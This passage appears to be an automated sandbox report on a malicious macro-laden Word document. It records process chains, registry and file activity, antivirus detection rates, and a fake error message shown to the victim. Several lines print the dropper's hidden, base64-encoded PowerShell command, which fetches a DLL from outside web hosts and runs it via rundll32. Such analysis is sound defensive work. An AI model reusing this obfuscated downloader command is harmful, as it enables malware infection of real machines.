Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 17_2_00301C88 CreateToolhelp32Snapshot,

17_2_00301C88

Contains functionality to instantiate COM classes

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 7_2_10002D70 SysAllocString,CoCreateInstance,PropVariantClear,SysFreeString,SysFreeString,

7_2_10002D70

Creates files inside the user directory

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\Desktop\~$tos-2021-4-377562.doc

Jump to behavior

Creates mutexes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Mutant created: \Sessions\1\BaseNamedObjects\Global\.net clr networking

Creates temporary files

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRC071.tmp

Jump to behavior

Document contains an OLE Word Document stream indicating a Microsoft Word file

Source: Datos-2021-4-377562.doc

OLE indicator, Word Document stream: true

Document contains summary information with irregular field values

Source: Datos-2021-4-377562.doc	OLE document summary: title field not present or empty
Source: Datos-2021-4-377562.doc	OLE document summary: edited time not present or 0

Found command line output

Source: C:\Windows\System32\msg.exe	Console Write: ............;........................... .(.......(.....................8...............#...............................h.......5kU.............			Jump to behavior
Source: C:\Windows\System32\msg.exe	Console Write: ............;...................A.s.y.n.c. .m.e.s.s.a.g.e. .s.e.n.t. .t.o. .s.e.s.s.i.o.n. .C.o.n.s.o.l.e.......x.......L.......................			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................................................`I.........v.....................K......H.N.............................			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v.....................q.j......................u.............}..v....0h......0...............................................			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v.....................q.j..... u...............u.............}..v.....h......0...............H.N.............................			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v....................%q.j......h...............u.............}..v.....u......0...............................................			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v....................%q.j....(.N...............u.............}..v.... v......0.................N.............................			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v....#................p.j......................u.............}..v............0...............................................			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v....#................p.j..... u...............u.............}..v....`.......0.................N.............................			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v....'................{.j....E.................u.............}..v............0...............(.N.............................			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.v....+................{.j....E.................u.............}..v....p]......0...............(.N.............................			Jump to behavior

Parts of this applications are using the .NET runtime (Probably coded in C#)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_64\mscorlib\fe6ac93181b40a571892e14bfb9d65f2\mscorlib.ni.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp			Jump to behavior

Queries process information (via WMI, Win32_Process)

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

WMI Queries: IWbemServices::ExecMethod - Win32_Process::Create

Reads ini files

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Reads software policies

Source: C:\Windows\System32\msg.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Reads the hosts file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\rundll32.exe	File read: C:\Windows\System32\drivers\etc\hosts

Runs a DLL by calling functions

Source: unknown

Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\C3re5c3\Di_p3c9\O_5Z.dll Control_RunDLL

Sample is known by Antivirus

Source: Datos-2021-4-377562.doc	Virustotal: Detection: 65%
Source: Datos-2021-4-377562.doc	Metadefender: Detection: 47%

Spawns processes

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD JAA5ADUAWABVAGMARAAgACAAPQAgACAAWwBUAFkAcABFAF0AKAAiAHsAMAB9AHsAMgB9AHsANAB9AHsAMwB9AHsAMQB9ACIAIAAtAGYAJwBTAFkAUwBUAGUAJwAsACcAQwBUAE8AUgB5ACcALAAnAE0AJwAsACcAUgBFACcALAAnAC4AaQBvAC4AZABJACcAKQAgACAAOwAgACAAcwBFAFQALQBJAHQARQBtACAAIAAoACcAVgAnACsAJwBhAHIAaQBBAEIATABlACcAKwAnADoARgBJAFUAJwApACAAIAAoACAAIABbAHQAeQBwAEUAXQAoACIAewAxAH0AewA0AH0AewAwAH0AewA2AH0AewA1AH0AewAzAH0AewAyAH0AIgAgAC0AZgAnAE0ALgBuAEUAVAAuAFMAZQBSACcALAAnAHMAWQBzAHQAJwAsACcAVABNAGEATgBBAEcAZQByACcALAAnAE4AJwAsACcARQAnACwAJwBJACcALAAnAHYASQBjAEUAUABvACcAKQApADsAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACcAUwBpACcAKwAoACcAbABlACcAKwAnAG4AJwApACsAKAAnAHQAJwArACcAbAB5AEMAJwApACsAKAAnAG8AJwArACcAbgB0ACcAKQArACgAJwBpACcAKwAnAG4AdQBlACcAKQApADsAJABIAGMANgBjADYAdQB5AD0AJABJADcANgBDACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABUADMANgBTADsAJABWADAANgBCAD0AKAAnAEkAMwAnACsAJwA5AEgAJwApADsAIAAgACgAZwBjAEkAIAAoACIAVgBBACIAKwAiAHIAaQBBAEIAIgArACIAbAAiACsAIgBFADoAOQA1ACIAKwAiAFgAdQBDAGQAIgApACAAIAApAC4AVgBhAEwAVQBlADoAOgAiAGMAUgBlAGEAVABgAEUAZABgAEkAUgBgAEUAYABDAFQATwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwB7ADAAfQBDADMAcgBlACcAKwAnADUAYwAzAHsAMAB9ACcAKwAnAEQAaQAnACsAJwBfAHAAJwArACcAMwAnACsAJwBjADkAJwArACcAewAwAH0AJwApAC0AZgAgAFsAQwBIAEEAUgBdADkAMgApACkAOwAkAEQAMQA1AEIAPQAoACgAJwBHADIAJwArACcAOAAnACkAKwAnAE8AJwApADsAIAAkAGYAaQB1ADoAOgAiAHMAZQBgAGMAYABVAHIASQBUAFkAcABSAG8AVABPAGAAYwBPAEwAIgAgAD0AIAAoACgAJwBUACcAKwAnAGwAcwAnACkAKwAnADEAMgAnACkAOwAkAFIAMwAyAEYAPQAoACcARwAnACsAKAAnADEANgAnACsAJwBaACcAKQApADsAJABDADcAegBpADkAdQB1ACAAPQAgACgAJwBPACcAKwAoACcAXwAnACsAJwA1AFoAJwApACkAOwAkAFcAXwAxAEQAPQAoACcARQAnACsAKAAnADEAOQAnACsAJwBUACcAKQApADsAJABXADcAaQBvADAAdwBnAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0AJwArACgAJwBDACcAKwAnADMAcgBlADUAJwApACsAJwBjADMAJwArACcAewAnACsAJwAwAH0ARABpAF8AcAAzAGMAJwArACcAOQB7ACcAKwAnADAAfQAnACkALQBGAFsAQwBoAGEAcgBdADkAMgApACsAJABDADcAegBpADkAdQB1ACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABIADMANgBBAD0AKAAnAFIAJwArACgAJwA2AF8AJwArACcATwAnACkAKQA7ACQARwByADYAeABfAGgAXwA9ACgAKAAnAF0AYQAnACsAJwBuAHcAWwAzACcAKwAnADoALwAnACkAKwAnAC8AJwArACgAJwBwACcAKwAnAGUAdABhAGYAJwApACsAKAAnAGkAbABtACcAKwAnAC4AYwBvACcAKQArACcAbQAnACsAKAAnAC8AdwAnACsAJwBwACcAKQArACgAJwAtAGEAJwArACcAZABtACcAKwAnAGkAbgAnACsAJwAvADQAbQAvAEAAXQAnACkAKwAnAGEAJwArACgAJwBuACcAKwAnAHcAWwAzACcAKwAnADoALwAvAGcAaQAnACsAJwB2AGkAJwApACsAKAAnAG4AZwAnACsAJwB0AGgAYQAnACsAJwBuAGsAcwBkACcAKQArACcAYQBpACcAKwAnAGwAJwArACgAJwB5AC4AYwAnACsAJwBvAG0ALwBxAGwARQAvAFYAZQBGAC8AJwArACcAQABdAGEAJwArACcAbgAnACkAKwAoACcAdwAnACsAJwBbADMAOgAvAC8AdwAnACkAKwAoACcAYQBwACcAKwAnAC4AJwApACsAJwB6AGgAJwArACgAJwBvAG4AZwAnACsAJwBsACcAKQArACcAaQAnACsAKAAnAHMAYwAnACsAJwAuAGMAJwArACcAbwAnACsAJwBtAC8AdwBwAC0AaQBuAGMAJwApACsAKAAnAGwAdQAnACsAJwBkAGUAcwAnACsAJwAvAFEAcgAnACsAJwB5AEMAJwApACsAJwBCAC8AJwArACcAQAAnACsAKAAnAF0AJwArACcAYQBuAHcAJwApACsAKAAnAFsAMwAnACsAJwBzADoALwAnACsA
Source: unknown	Process created: C:\Windows\System32\msg.exe msg user /v Word experienced an error trying to open the file.
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD JAA5ADUAWABVAGMARAAgACAAPQAgACAAWwBUAFkAcABFAF0AKAAiAHsAMAB9AHsAMgB9AHsANAB9AHsAMwB9AHsAMQB9ACIAIAAtAGYAJwBTAFkAUwBUAGUAJwAsACcAQwBUAE8AUgB5ACcALAAnAE0AJwAsACcAUgBFACcALAAnAC4AaQBvAC4AZABJACcAKQAgACAAOwAgACAAcwBFAFQALQBJAHQARQBtACAAIAAoACcAVgAnACsAJwBhAHIAaQBBAEIATABlACcAKwAnADoARgBJAFUAJwApACAAIAAoACAAIABbAHQAeQBwAEUAXQAoACIAewAxAH0AewA0AH0AewAwAH0AewA2AH0AewA1AH0AewAzAH0AewAyAH0AIgAgAC0AZgAnAE0ALgBuAEUAVAAuAFMAZQBSACcALAAnAHMAWQBzAHQAJwAsACcAVABNAGEATgBBAEcAZQByACcALAAnAE4AJwAsACcARQAnACwAJwBJACcALAAnAHYASQBjAEUAUABvACcAKQApADsAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACcAUwBpACcAKwAoACcAbABlACcAKwAnAG4AJwApACsAKAAnAHQAJwArACcAbAB5AEMAJwApACsAKAAnAG8AJwArACcAbgB0ACcAKQArACgAJwBpACcAKwAnAG4AdQBlACcAKQApADsAJABIAGMANgBjADYAdQB5AD0AJABJADcANgBDACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABUADMANgBTADsAJABWADAANgBCAD0AKAAnAEkAMwAnACsAJwA5AEgAJwApADsAIAAgACgAZwBjAEkAIAAoACIAVgBBACIAKwAiAHIAaQBBAEIAIgArACIAbAAiACsAIgBFADoAOQA1ACIAKwAiAFgAdQBDAGQAIgApACAAIAApAC4AVgBhAEwAVQBlADoAOgAiAGMAUgBlAGEAVABgAEUAZABgAEkAUgBgAEUAYABDAFQATwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwB7ADAAfQBDADMAcgBlACcAKwAnADUAYwAzAHsAMAB9ACcAKwAnAEQAaQAnACsAJwBfAHAAJwArACcAMwAnACsAJwBjADkAJwArACcAewAwAH0AJwApAC0AZgAgAFsAQwBIAEEAUgBdADkAMgApACkAOwAkAEQAMQA1AEIAPQAoACgAJwBHADIAJwArACcAOAAnACkAKwAnAE8AJwApADsAIAAkAGYAaQB1ADoAOgAiAHMAZQBgAGMAYABVAHIASQBUAFkAcABSAG8AVABPAGAAYwBPAEwAIgAgAD0AIAAoACgAJwBUACcAKwAnAGwAcwAnACkAKwAnADEAMgAnACkAOwAkAFIAMwAyAEYAPQAoACcARwAnACsAKAAnADEANgAnACsAJwBaACcAKQApADsAJABDADcAegBpADkAdQB1ACAAPQAgACgAJwBPACcAKwAoACcAXwAnACsAJwA1AFoAJwApACkAOwAkAFcAXwAxAEQAPQAoACcARQAnACsAKAAnADEAOQAnACsAJwBUACcAKQApADsAJABXADcAaQBvADAAdwBnAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0AJwArACgAJwBDACcAKwAnADMAcgBlADUAJwApACsAJwBjADMAJwArACcAewAnACsAJwAwAH0ARABpAF8AcAAzAGMAJwArACcAOQB7ACcAKwAnADAAfQAnACkALQBGAFsAQwBoAGEAcgBdADkAMgApACsAJABDADcAegBpADkAdQB1ACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABIADMANgBBAD0AKAAnAFIAJwArACgAJwA2AF8AJwArACcATwAnACkAKQA7ACQARwByADYAeABfAGgAXwA9ACgAKAAnAF0AYQAnACsAJwBuAHcAWwAzACcAKwAnADoALwAnACkAKwAnAC8AJwArACgAJwBwACcAKwAnAGUAdABhAGYAJwApACsAKAAnAGkAbABtACcAKwAnAC4AYwBvACcAKQArACcAbQAnACsAKAAnAC8AdwAnACsAJwBwACcAKQArACgAJwAtAGEAJwArACcAZABtACcAKwAnAGkAbgAnACsAJwAvADQAbQAvAEAAXQAnACkAKwAnAGEAJwArACgAJwBuACcAKwAnAHcAWwAzACcAKwAnADoALwAvAGcAaQAnACsAJwB2AGkAJwApACsAKAAnAG4AZwAnACsAJwB0AGgAYQAnACsAJwBuAGsAcwBkACcAKQArACcAYQBpACcAKwAnAGwAJwArACgAJwB5AC4AYwAnACsAJwBvAG0ALwBxAGwARQAvAFYAZQBGAC8AJwArACcAQABdAGEAJwArACcAbgAnACkAKwAoACcAdwAnACsAJwBbADMAOgAvAC8AdwAnACkAKwAoACcAYQBwACcAKwAnAC4AJwApACsAJwB6AGgAJwArACgAJwBvAG4AZwAnACsAJwBsACcAKQArACcAaQAnACsAKAAnAHMAYwAnACsAJwAuAGMAJwArACcAbwAnACsAJwBtAC8AdwBwAC0AaQBuAGMAJwApACsAKAAnAGwAdQAnACsAJwBkAGUAcwAnACsAJwAvAFEAcgAnACsAJwB5AEMAJwApACsAJwBCAC8AJwArACcAQAAnACsAKAAnAF0AJwArACcAYQBuAHcAJwApACsAKAAnAFsAMwAnACsAJwBzADoALwAnACsAJwAvAGYAJwArACcAbgAnACsAJwBqAGIAcQAuAGMAbwBtAC8AdwBwAC0AaQAnACkAK
Source: unknown	Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\C3re5c3\Di_p3c9\O_5Z.dll Control_RunDLL
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\C3re5c3\Di_p3c9\O_5Z.dll Control_RunDLL
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Qdobhqhwujf\uzjpmatbfa.knr',Control_RunDLL
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Mudnzlzz\tchxmhh.vmn',Control_RunDLL
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Tqtjgf\ubkvl.qtt',Control_RunDLL
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Qcfwakudils\xdnuofdvuw.mtf',Control_RunDLL
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Dmlmufref\lnlrkslr.usd',Control_RunDLL
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Vbxkcbxnxe\fkpvaejuz.leu',Control_RunDLL
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Tiggqlmpvi\alhryajdx.pgt',Control_RunDLL
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Ceqit\srhv.rai',Control_RunDLL
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Pjpaiqaldg\belhamieb.mpw',Control_RunDLL
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Amtmltzf\sjpbzbn.ngx',Control_RunDLL
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\msg.exe msg user /v Word experienced an error trying to open the file.			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD JAA5ADUAWABVAGMARAAgACAAPQAgACAAWwBUAFkAcABFAF0AKAAiAHsAMAB9AHsAMgB9AHsANAB9AHsAMwB9AHsAMQB9ACIAIAAtAGYAJwBTAFkAUwBUAGUAJwAsACcAQwBUAE8AUgB5ACcALAAnAE0AJwAsACcAUgBFACcALAAnAC4AaQBvAC4AZABJACcAKQAgACAAOwAgACAAcwBFAFQALQBJAHQARQBtACAAIAAoACcAVgAnACsAJwBhAHIAaQBBAEIATABlACcAKwAnADoARgBJAFUAJwApACAAIAAoACAAIABbAHQAeQBwAEUAXQAoACIAewAxAH0AewA0AH0AewAwAH0AewA2AH0AewA1AH0AewAzAH0AewAyAH0AIgAgAC0AZgAnAE0ALgBuAEUAVAAuAFMAZQBSACcALAAnAHMAWQBzAHQAJwAsACcAVABNAGEATgBBAEcAZQByACcALAAnAE4AJwAsACcARQAnACwAJwBJACcALAAnAHYASQBjAEUAUABvACcAKQApADsAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACcAUwBpACcAKwAoACcAbABlACcAKwAnAG4AJwApACsAKAAnAHQAJwArACcAbAB5AEMAJwApACsAKAAnAG8AJwArACcAbgB0ACcAKQArACgAJwBpACcAKwAnAG4AdQBlACcAKQApADsAJABIAGMANgBjADYAdQB5AD0AJABJADcANgBDACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABUADMANgBTADsAJABWADAANgBCAD0AKAAnAEkAMwAnACsAJwA5AEgAJwApADsAIAAgACgAZwBjAEkAIAAoACIAVgBBACIAKwAiAHIAaQBBAEIAIgArACIAbAAiACsAIgBFADoAOQA1ACIAKwAiAFgAdQBDAGQAIgApACAAIAApAC4AVgBhAEwAVQBlADoAOgAiAGMAUgBlAGEAVABgAEUAZABgAEkAUgBgAEUAYABDAFQATwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwB7ADAAfQBDADMAcgBlACcAKwAnADUAYwAzAHsAMAB9ACcAKwAnAEQAaQAnACsAJwBfAHAAJwArACcAMwAnACsAJwBjADkAJwArACcAewAwAH0AJwApAC0AZgAgAFsAQwBIAEEAUgBdADkAMgApACkAOwAkAEQAMQA1AEIAPQAoACgAJwBHADIAJwArACcAOAAnACkAKwAnAE8AJwApADsAIAAkAGYAaQB1ADoAOgAiAHMAZQBgAGMAYABVAHIASQBUAFkAcABSAG8AVABPAGAAYwBPAEwAIgAgAD0AIAAoACgAJwBUACcAKwAnAGwAcwAnACkAKwAnADEAMgAnACkAOwAkAFIAMwAyAEYAPQAoACcARwAnACsAKAAnADEANgAnACsAJwBaACcAKQApADsAJABDADcAegBpADkAdQB1ACAAPQAgACgAJwBPACcAKwAoACcAXwAnACsAJwA1AFoAJwApACkAOwAkAFcAXwAxAEQAPQAoACcARQAnACsAKAAnADEAOQAnACsAJwBUACcAKQApADsAJABXADcAaQBvADAAdwBnAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0AJwArACgAJwBDACcAKwAnADMAcgBlADUAJwApACsAJwBjADMAJwArACcAewAnACsAJwAwAH0ARABpAF8AcAAzAGMAJwArACcAOQB7ACcAKwAnADAAfQAnACkALQBGAFsAQwBoAGEAcgBdADkAMgApACsAJABDADcAegBpADkAdQB1ACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABIADMANgBBAD0AKAAnAFIAJwArACgAJwA2AF8AJwArACcATwAnACkAKQA7ACQARwByADYAeABfAGgAXwA9ACgAKAAnAF0AYQAnACsAJwBuAHcAWwAzACcAKwAnADoALwAnACkAKwAnAC8AJwArACgAJwBwACcAKwAnAGUAdABhAGYAJwApACsAKAAnAGkAbABtACcAKwAnAC4AYwBvACcAKQArACcAbQAnACsAKAAnAC8AdwAnACsAJwBwACcAKQArACgAJwAtAGEAJwArACcAZABtACcAKwAnAGkAbgAnACsAJwAvADQAbQAvAEAAXQAnACkAKwAnAGEAJwArACgAJwBuACcAKwAnAHcAWwAzACcAKwAnADoALwAvAGcAaQAnACsAJwB2AGkAJwApACsAKAAnAG4AZwAnACsAJwB0AGgAYQAnACsAJwBuAGsAcwBkACcAKQArACcAYQBpACcAKwAnAGwAJwArACgAJwB5AC4AYwAnACsAJwBvAG0ALwBxAGwARQAvAFYAZQBGAC8AJwArACcAQABdAGEAJwArACcAbgAnACkAKwAoACcAdwAnACsAJwBbADMAOgAvAC8AdwAnACkAKwAoACcAYQBwACcAKwAnAC4AJwApACsAJwB6AGgAJwArACgAJwBvAG4AZwAnACsAJwBsACcAKQArACcAaQAnACsAKAAnAHMAYwAnACsAJwAuAGMAJwArACcAbwAnACsAJwBtAC8AdwBwAC0AaQBuAGMAJwApACsAKAAnAGwAdQAnACsAJwBkAGUAcwAnACsAJwAvAFEAcgAnACsAJwB5AEMAJwApACsAJwBCAC8AJwArACcAQAAnACsAKAAnAF0AJwArACcAYQBuAHcAJwApACsAKAAnAFsAMwAnACsAJwBzADoALwAnACsAJwAvAGYAJwArACcAbgAnACsAJwBqAGIAcQAuAGMAbwBtAC8AdwBwAC0AaQAnACkAK			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\C3re5c3\Di_p3c9\O_5Z.dll Control_RunDLL			Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\C3re5c3\Di_p3c9\O_5Z.dll Control_RunDLL			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Qdobhqhwujf\uzjpmatbfa.knr',Control_RunDLL			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Mudnzlzz\tchxmhh.vmn',Control_RunDLL			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Tqtjgf\ubkvl.qtt',Control_RunDLL			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Qcfwakudils\xdnuofdvuw.mtf',Control_RunDLL			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Dmlmufref\lnlrkslr.usd',Control_RunDLL			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Vbxkcbxnxe\fkpvaejuz.leu',Control_RunDLL			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Tiggqlmpvi\alhryajdx.pgt',Control_RunDLL			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Ceqit\srhv.rai',Control_RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Pjpaiqaldg\belhamieb.mpw',Control_RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Amtmltzf\sjpbzbn.ngx',Control_RunDLL

Uses an in-process (OLE) Automation server

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32

Jump to behavior

Found graphical window changes (likely an installer)

Source: Window Recorder

Window detected: More than 3 window changes detected

Uses Microsoft Silverlight

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorrc.dll

Jump to behavior

Checks if Microsoft Office is installed

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

Jump to behavior

Uses new MSVCR Dlls

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Binary contains paths to debug symbols

Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2084721075.0000000002B97000.00000004.00000040.sdmp
Source:	Binary string: C:\Windows\symbols\dll\System.Management.Automation.pdbCom source: powershell.exe, 00000005.00000002.2084721075.0000000002B97000.00000004.00000040.sdmp
Source:	Binary string: C:\Windows\dll\System.Management.Automation.pdbProg source: powershell.exe, 00000005.00000002.2084721075.0000000002B97000.00000004.00000040.sdmp
Source:	Binary string: E:\WindowsSDK7-Samples-master\WindowsSDK7-Samples-master\winui\shell\appshellintegration\RecipePropertyHandler\Win32\Release\RecipePropertyHandler.pdb source: powershell.exe, 00000005.00000002.2087287903.0000000003A73000.00000004.00000001.sdmp, rundll32.exe, 00000007.00000002.2088291880.000000001000D000.00000002.00020000.sdmp
Source:	Binary string: C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2084721075.0000000002B97000.00000004.00000040.sdmp
Source:	Binary string: ws\System.Management.Automation.pdbpdbion.pdbERSP source: powershell.exe, 00000005.00000002.2084721075.0000000002B97000.00000004.00000040.sdmp
Source:	Binary string: C:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2084721075.0000000002B97000.00000004.00000040.sdmp
Source:	Binary string: mscorrc.pdb source: powershell.exe, 00000005.00000002.2084490343.00000000028D0000.00000002.00000001.sdmp

Document has a 'subject' value indicative of goodware

Source: Datos-2021-4-377562.doc

Initial sample: OLE summary subject = Massachusetts Gorgeous Soft Car Springs Refined Steel Shoes Bedfordshire Maryland Unbranded Rubber Bacon Toys & Toys feed Integrated Corporate seize Generic Rubber Pants

Data Obfuscation:

Document contains an embedded VBA with many GOTO operations indicating source code obfuscation

Source: Datos-2021-4-377562.doc	Stream path 'Macros/VBA/Oi5oelv0_s4' : High number of GOTO operations
Source: VBA code instrumentation	OLE, VBA macro, High number of GOTO operations: Module Oi5oelv0_s4			Name: Oi5oelv0_s4

Obfuscated command line found

Source: unknown

